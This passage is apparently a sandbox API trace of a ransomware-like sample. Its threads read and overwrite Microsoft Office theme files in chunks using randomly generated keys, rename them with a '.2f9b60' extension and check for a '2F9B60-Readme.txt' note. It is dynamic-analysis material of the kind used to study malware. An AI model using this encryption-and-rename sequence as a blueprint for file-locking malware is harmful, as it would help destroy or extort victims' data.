Flags=0x8, Size=0x3c00) returned 0x1ce6c550 [0088.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0088.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a090 [0088.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a090) returned 1 [0088.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0088.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.652] WriteFile (in: hFile=0xa3c, lpBuffer=0x1ce6c550*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1eeef5a0, lpOverlapped=0x0 | out: lpBuffer=0x1ce6c550*, lpNumberOfBytesWritten=0x1eeef5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0088.654] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce6c550) returned 1 [0088.654] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x519df, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.654] ReadFile (in: hFile=0xa3c, lpBuffer=0x1ce5d510, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1eeef5a0, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesRead=0x1eeef5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0088.663] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x519df, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0088.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e80 [0088.663] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859e80) returned 1 [0088.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce64d30 [0088.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e80 [0088.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a0c0 [0088.664] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a0c0) returned 1 [0088.664] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0088.664] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.664] WriteFile (in: hFile=0xa3c, lpBuffer=0x1ce64d30*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1eeef5a0, lpOverlapped=0x0 | out: lpBuffer=0x1ce64d30*, lpNumberOfBytesWritten=0x1eeef5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0088.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce64d30) returned 1 [0088.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c1f00 [0088.667] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0088.667] WriteFile (in: hFile=0xa3c, lpBuffer=0x133600*, nNumberOfBytesToWrite=0x14e, lpNumberOfBytesWritten=0x1eeef650, lpOverlapped=0x0 | out: lpBuffer=0x133600*, lpNumberOfBytesWritten=0x1eeef650*=0x14e, lpOverlapped=0x0) returned 1 [0088.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0088.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0088.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859e50) returned 1 [0088.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1b859e50 [0088.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e80 [0088.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a1e0 [0088.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a1e0) returned 1 [0088.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0088.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1cd97350 [0088.669] sprintf (in: _Dest=0x1cd97350, _Format="%c%c" | out: _Dest="75") returned 2 [0088.669] sprintf (in: _Dest=0x1cd97352, _Format="%c%c" | out: _Dest="43") returned 2 [0088.669] sprintf (in: _Dest=0x1cd97354, _Format="%c%c" | out: _Dest="c3") returned 2 [0088.669] sprintf (in: _Dest=0x1cd97356, _Format="%c%c" | out: _Dest="a9") returned 2 [0088.669] sprintf (in: _Dest=0x1cd97358, _Format="%c%c" | out: _Dest="62") returned 2 [0088.669] sprintf (in: _Dest=0x1cd9735a, _Format="%c%c" | out: _Dest="2d") returned 2 [0088.669] sprintf (in: _Dest=0x1cd9735c, _Format="%c%c" | out: _Dest="17") returned 2 [0088.669] sprintf (in: _Dest=0x1cd9735e, _Format="%c%c" | out: _Dest="00") returned 2 [0088.669] sprintf (in: _Dest=0x1cd97360, _Format="%c%c" | out: _Dest="8a") returned 2 [0088.669] sprintf (in: _Dest=0x1cd97362, _Format="%c%c" | out: _Dest="49") returned 2 [0088.670] sprintf (in: _Dest=0x1cd97364, _Format="%c%c" | out: _Dest="91") returned 2 [0088.670] sprintf (in: _Dest=0x1cd97366, _Format="%c%c" | out: _Dest="2b") returned 2 [0088.670] sprintf (in: _Dest=0x1cd97368, _Format="%c%c" | out: _Dest="2f") returned 2 [0088.670] sprintf (in: _Dest=0x1cd9736a, _Format="%c%c" | out: _Dest="dd") returned 2 [0088.670] sprintf (in: _Dest=0x1cd9736c, _Format="%c%c" | out: _Dest="cb") returned 2 [0088.670] sprintf (in: _Dest=0x1cd9736e, _Format="%c%c" | out: _Dest="45") returned 2 [0088.670] sprintf (in: _Dest=0x1cd97370, _Format="%c%c" | out: _Dest="98") returned 2 [0088.670] sprintf (in: _Dest=0x1cd97372, _Format="%c%c" | out: _Dest="1b") returned 2 [0088.670] sprintf (in: _Dest=0x1cd97374, _Format="%c%c" | out: _Dest="7e") returned 2 [0088.670] sprintf (in: _Dest=0x1cd97376, _Format="%c%c" | out: _Dest="9f") returned 2 [0088.670] sprintf (in: _Dest=0x1cd97378, _Format="%c%c" | out: _Dest="8d") returned 2 [0088.670] sprintf (in: _Dest=0x1cd9737a, _Format="%c%c" | out: _Dest="15") returned 2 [0088.670] sprintf (in: _Dest=0x1cd9737c, _Format="%c%c" | out: _Dest="df") returned 2 [0088.670] sprintf (in: _Dest=0x1cd9737e, _Format="%c%c" | out: _Dest="df") returned 2 [0088.670] sprintf (in: _Dest=0x1cd97380, _Format="%c%c" | out: _Dest="ea") returned 2 [0088.670] sprintf (in: _Dest=0x1cd97382, _Format="%c%c" | out: _Dest="04") returned 2 [0088.670] sprintf (in: _Dest=0x1cd97384, _Format="%c%c" | out: _Dest="06") returned 2 [0088.670] sprintf (in: _Dest=0x1cd97386, _Format="%c%c" | out: _Dest="af") returned 2 [0088.670] RtlInitAnsiString (in: DestinationString=0x1eeef6c8, SourceString="7543c3a9622d17008a49912b2fddcb45981b7e9f8d15dfdfea0406af" | out: DestinationString="7543c3a9622d17008a49912b2fddcb45981b7e9f8d15dfdfea0406af") [0088.670] RtlAnsiStringToUnicodeString (in: DestinationString=0x1eeef698, SourceString="7543c3a9622d17008a49912b2fddcb45981b7e9f8d15dfdfea0406af", AllocateDestinationString=1 | out: DestinationString="7543c3a9622d17008a49912b2fddcb45981b7e9f8d15dfdfea0406af") returned 0x0 [0088.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b79dff0 [0088.671] wcscat (in: _Dest=0x1b7ad2a0, _Source="7543c3a9622d17" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\7543c3a9622d17") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\7543c3a9622d17" [0088.671] wcscat (in: _Dest=0x1b7ad2a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\7543c3a9622d17.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\7543c3a9622d17.2f9b60" [0088.671] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\7543c3a9622d17.2f9b60", NtPathName=0x1eeef670, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\7543c3a9622d17.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0088.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x106e80 [0088.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106e80) returned 1 [0088.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0088.673] NtQueryInformationFile (in: FileHandle=0xa3c, IoStatusBlock=0x1eeef6d8, FileInformation=0x1eeef6e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1eeef6d8, FileInformation=0x1eeef6e8) returned 0x0 [0088.673] NtSetInformationFile (FileHandle=0xa3c, IoStatusBlock=0x1eeef6d8, FileInformation=0x1eeef6e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0088.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0088.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0088.674] FlushFileBuffers (hFile=0xa3c) returned 1 [0088.675] CloseHandle (hObject=0xa3c) returned 1 [0088.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ad2a0 [0088.679] wcscpy (in: _Dest=0x1b7ad2a0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0088.679] wcscat (in: _Dest=0x1b7ad2a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" [0088.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\2f9b60-readme.txt")) returned 0x20 [0088.680] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0088.680] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7849a0) returned 1 Thread: id = 335 os_tid = 0xe6c [0088.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Equity.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\equity.thmx")) returned 0x20 [0088.631] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Equity.thmx", dwFileAttributes=0x20) returned 1 [0088.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Equity.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\equity.thmx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa44 [0088.632] GetFileSizeEx (in: hFile=0xa44, lpFileSize=0x24a8f660 | out: lpFileSize=0x24a8f660*=69473) returned 1 [0088.632] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x10f5d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.632] ReadFile (in: hFile=0xa44, lpBuffer=0x24a8f5e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x24a8f628, lpOverlapped=0x0 | out: lpBuffer=0x24a8f5e0*, lpNumberOfBytesRead=0x24a8f628*=0x4, lpOverlapped=0x0) returned 1 [0088.636] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859d30 [0088.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859eb0 [0088.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0088.637] NtQuerySystemTime (in: CurrentTime=0x24a8f520 | out: CurrentTime=0x24a8f520*=132462176944966000) returned 0x0 [0088.637] RtlRandomEx (in: Seed=0x24a8f510 | out: Seed=0x24a8f510) returned 0x1b510ac2 [0088.637] RtlRandomEx (in: Seed=0x24a8f510 | out: Seed=0x24a8f510) returned 0x3b87a306 [0088.637] RtlRandomEx (in: Seed=0x24a8f510 | out: Seed=0x24a8f510) returned 0x44087dc0 [0088.637] RtlRandomEx (in: Seed=0x24a8f510 | out: Seed=0x24a8f510) returned 0x606ccc12 [0088.637] RtlRandomEx (in: Seed=0x24a8f510 | out: Seed=0x24a8f510) returned 0x51e743e4 [0088.637] RtlRandomEx (in: Seed=0x24a8f510 | out: Seed=0x24a8f510) returned 0x1f5a7d8a [0088.637] RtlRandomEx (in: Seed=0x24a8f510 | out: Seed=0x24a8f510) returned 0x5651f6b4 [0088.637] RtlRandomEx (in: Seed=0x24a8f510 | out: Seed=0x24a8f510) returned 0x7a5209b5 [0088.637] RtlRandomEx (in: Seed=0x24a8f510 | out: Seed=0x24a8f510) returned 0x1abf2ba8 [0088.637] RtlRandomEx (in: Seed=0x24a8f510 | out: Seed=0x24a8f510) returned 0xaf354d8 [0088.637] RtlRandomEx (in: Seed=0x24a8f510 | out: Seed=0x24a8f510) returned 0x75ee704 [0088.637] RtlRandomEx (in: Seed=0x24a8f510 | out: Seed=0x24a8f510) returned 0x4299adb6 [0088.637] RtlRandomEx (in: Seed=0x24a8f510 | out: Seed=0x24a8f510) returned 0x1d00dbb7 [0088.637] RtlRandomEx (in: Seed=0x24a8f510 | out: Seed=0x24a8f510) returned 0x447251ea [0088.637] RtlRandomEx (in: Seed=0x24a8f510 | out: Seed=0x24a8f510) returned 0x7e7e850a [0088.637] RtlRandomEx (in: Seed=0x24a8f510 | out: Seed=0x24a8f510) returned 0x31dc86d1 [0088.637] RtlRandomEx (in: Seed=0x24a8f510 | out: Seed=0x24a8f510) returned 0x7ade6002 [0088.638] RtlRandomEx (in: Seed=0x24a8f510 | out: Seed=0x24a8f510) returned 0x6604749d [0088.638] RtlRandomEx (in: Seed=0x24a8f510 | out: Seed=0x24a8f510) returned 0x63820ad [0088.638] RtlRandomEx (in: Seed=0x24a8f510 | out: Seed=0x24a8f510) returned 0x256a4af5 [0088.638] RtlRandomEx (in: Seed=0x24a8f510 | out: Seed=0x24a8f510) returned 0xf87df52 [0088.638] RtlRandomEx (in: Seed=0x24a8f510 | out: Seed=0x24a8f510) returned 0x3462ae52 [0088.638] RtlRandomEx (in: Seed=0x24a8f510 | out: Seed=0x24a8f510) returned 0x5f572ba1 [0088.638] RtlRandomEx (in: Seed=0x24a8f510 | out: Seed=0x24a8f510) returned 0x5278a1f1 [0088.638] RtlRandomEx (in: Seed=0x24a8f510 | out: Seed=0x24a8f510) returned 0x6d3f3c6c [0088.638] RtlRandomEx (in: Seed=0x24a8f510 | out: Seed=0x24a8f510) returned 0x7e421574 [0088.638] RtlRandomEx (in: Seed=0x24a8f510 | out: Seed=0x24a8f510) returned 0x3fbc40a6 [0088.638] RtlRandomEx (in: Seed=0x24a8f510 | out: Seed=0x24a8f510) returned 0x75baa941 [0088.638] RtlRandomEx (in: Seed=0x24a8f510 | out: Seed=0x24a8f510) returned 0x110c3e0e [0088.638] RtlRandomEx (in: Seed=0x24a8f510 | out: Seed=0x24a8f510) returned 0x2cf420e7 [0088.638] RtlRandomEx (in: Seed=0x24a8f510 | out: Seed=0x24a8f510) returned 0x5605ccc3 [0088.638] RtlRandomEx (in: Seed=0x24a8f510 | out: Seed=0x24a8f510) returned 0x6a7f0d3b [0088.647] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.647] ReadFile (in: hFile=0xa44, lpBuffer=0x1ce68940, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x24a8f580, lpOverlapped=0x0 | out: lpBuffer=0x1ce68940*, lpNumberOfBytesRead=0x24a8f580*=0x3c00, lpOverlapped=0x0) returned 1 [0088.649] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0088.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859d30 [0088.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859d30) returned 1 [0088.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce64d30 [0088.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859d30 [0088.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0088.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859e50) returned 1 [0088.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0088.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.649] WriteFile (in: hFile=0xa44, lpBuffer=0x1ce64d30*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x24a8f580, lpOverlapped=0x0 | out: lpBuffer=0x1ce64d30*, lpNumberOfBytesWritten=0x24a8f580*=0x3c00, lpOverlapped=0x0) returned 1 [0088.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce64d30) returned 1 [0088.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce68940) returned 1 [0088.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b85a090 [0088.653] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0088.653] WriteFile (in: hFile=0xa44, lpBuffer=0x1695e0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x24a8f630, lpOverlapped=0x0 | out: lpBuffer=0x1695e0*, lpNumberOfBytesWritten=0x24a8f630*=0x108, lpOverlapped=0x0) returned 1 [0088.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0088.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a000 [0088.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a000) returned 1 [0088.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d000 [0088.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a000 [0088.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859dc0 [0088.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859dc0) returned 1 [0088.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0088.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f970 [0088.656] sprintf (in: _Dest=0x1cd9f970, _Format="%c%c" | out: _Dest="22") returned 2 [0088.656] sprintf (in: _Dest=0x1cd9f972, _Format="%c%c" | out: _Dest="e3") returned 2 [0088.657] sprintf (in: _Dest=0x1cd9f974, _Format="%c%c" | out: _Dest="db") returned 2 [0088.657] sprintf (in: _Dest=0x1cd9f976, _Format="%c%c" | out: _Dest="a5") returned 2 [0088.657] sprintf (in: _Dest=0x1cd9f978, _Format="%c%c" | out: _Dest="60") returned 2 [0088.657] sprintf (in: _Dest=0x1cd9f97a, _Format="%c%c" | out: _Dest="09") returned 2 [0088.657] sprintf (in: _Dest=0x1cd9f97c, _Format="%c%c" | out: _Dest="df") returned 2 [0088.657] sprintf (in: _Dest=0x1cd9f97e, _Format="%c%c" | out: _Dest="74") returned 2 [0088.657] sprintf (in: _Dest=0x1cd9f980, _Format="%c%c" | out: _Dest="a0") returned 2 [0088.657] sprintf (in: _Dest=0x1cd9f982, _Format="%c%c" | out: _Dest="00") returned 2 [0088.657] sprintf (in: _Dest=0x1cd9f984, _Format="%c%c" | out: _Dest="12") returned 2 [0088.657] sprintf (in: _Dest=0x1cd9f986, _Format="%c%c" | out: _Dest="d0") returned 2 [0088.657] sprintf (in: _Dest=0x1cd9f988, _Format="%c%c" | out: _Dest="fb") returned 2 [0088.657] sprintf (in: _Dest=0x1cd9f98a, _Format="%c%c" | out: _Dest="dc") returned 2 [0088.657] sprintf (in: _Dest=0x1cd9f98c, _Format="%c%c" | out: _Dest="4c") returned 2 [0088.657] sprintf (in: _Dest=0x1cd9f98e, _Format="%c%c" | out: _Dest="42") returned 2 [0088.657] sprintf (in: _Dest=0x1cd9f990, _Format="%c%c" | out: _Dest="b8") returned 2 [0088.657] sprintf (in: _Dest=0x1cd9f992, _Format="%c%c" | out: _Dest="82") returned 2 [0088.657] sprintf (in: _Dest=0x1cd9f994, _Format="%c%c" | out: _Dest="90") returned 2 [0088.657] sprintf (in: _Dest=0x1cd9f996, _Format="%c%c" | out: _Dest="08") returned 2 [0088.657] sprintf (in: _Dest=0x1cd9f998, _Format="%c%c" | out: _Dest="7a") returned 2 [0088.657] sprintf (in: _Dest=0x1cd9f99a, _Format="%c%c" | out: _Dest="3d") returned 2 [0088.657] RtlInitAnsiString (in: DestinationString=0x24a8f6a8, SourceString="22e3dba56009df74a00012d0fbdc4c42b88290087a3d" | out: DestinationString="22e3dba56009df74a00012d0fbdc4c42b88290087a3d") [0088.657] RtlAnsiStringToUnicodeString (in: DestinationString=0x24a8f678, SourceString="22e3dba56009df74a00012d0fbdc4c42b88290087a3d", AllocateDestinationString=1 | out: DestinationString="22e3dba56009df74a00012d0fbdc4c42b88290087a3d") returned 0x0 [0088.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b7c1f00 [0088.658] wcscat (in: _Dest=0x1b7ad2a0, _Source="22e3dba5600" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\22e3dba5600") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\22e3dba5600" [0088.658] wcscat (in: _Dest=0x1b7ad2a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\22e3dba5600.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\22e3dba5600.2f9b60" [0088.658] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\22e3dba5600.2f9b60", NtPathName=0x24a8f650, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\22e3dba5600.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0088.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x106e80 [0088.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106e80) returned 1 [0088.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0088.660] NtQueryInformationFile (in: FileHandle=0xa44, IoStatusBlock=0x24a8f6b8, FileInformation=0x24a8f6c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x24a8f6b8, FileInformation=0x24a8f6c8) returned 0x0 [0088.660] NtSetInformationFile (FileHandle=0xa44, IoStatusBlock=0x24a8f6b8, FileInformation=0x24a8f6c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0088.662] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0088.662] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1f00) returned 1 [0088.662] FlushFileBuffers (hFile=0xa44) returned 1 [0088.664] CloseHandle (hObject=0xa44) returned 1 [0088.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ad2a0 [0088.665] wcscpy (in: _Dest=0x1b7ad2a0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0088.665] wcscat (in: _Dest=0x1b7ad2a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" [0088.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\2f9b60-readme.txt")) returned 0x20 [0088.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0088.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784a30) returned 1 Thread: id = 336 os_tid = 0xe70 [0088.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Essential.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\essential.thmx")) returned 0x20 [0088.690] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Essential.thmx", dwFileAttributes=0x20) returned 1 [0088.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Essential.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\essential.thmx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa3c [0088.690] GetFileSizeEx (in: hFile=0xa3c, lpFileSize=0x24cff760 | out: lpFileSize=0x24cff760*=49784) returned 1 [0088.690] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0xc274, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.690] ReadFile (in: hFile=0xa3c, lpBuffer=0x24cff6e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x24cff728, lpOverlapped=0x0 | out: lpBuffer=0x24cff6e0*, lpNumberOfBytesRead=0x24cff728*=0x4, lpOverlapped=0x0) returned 1 [0088.694] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a1b0 [0088.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a120 [0088.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859ee0 [0088.694] NtQuerySystemTime (in: CurrentTime=0x24cff620 | out: CurrentTime=0x24cff620*=132462176945590000) returned 0x0 [0088.694] RtlRandomEx (in: Seed=0x24cff610 | out: Seed=0x24cff610) returned 0x1bb1d8c2 [0088.694] RtlRandomEx (in: Seed=0x24cff610 | out: Seed=0x24cff610) returned 0x6e3ca70f [0088.694] RtlRandomEx (in: 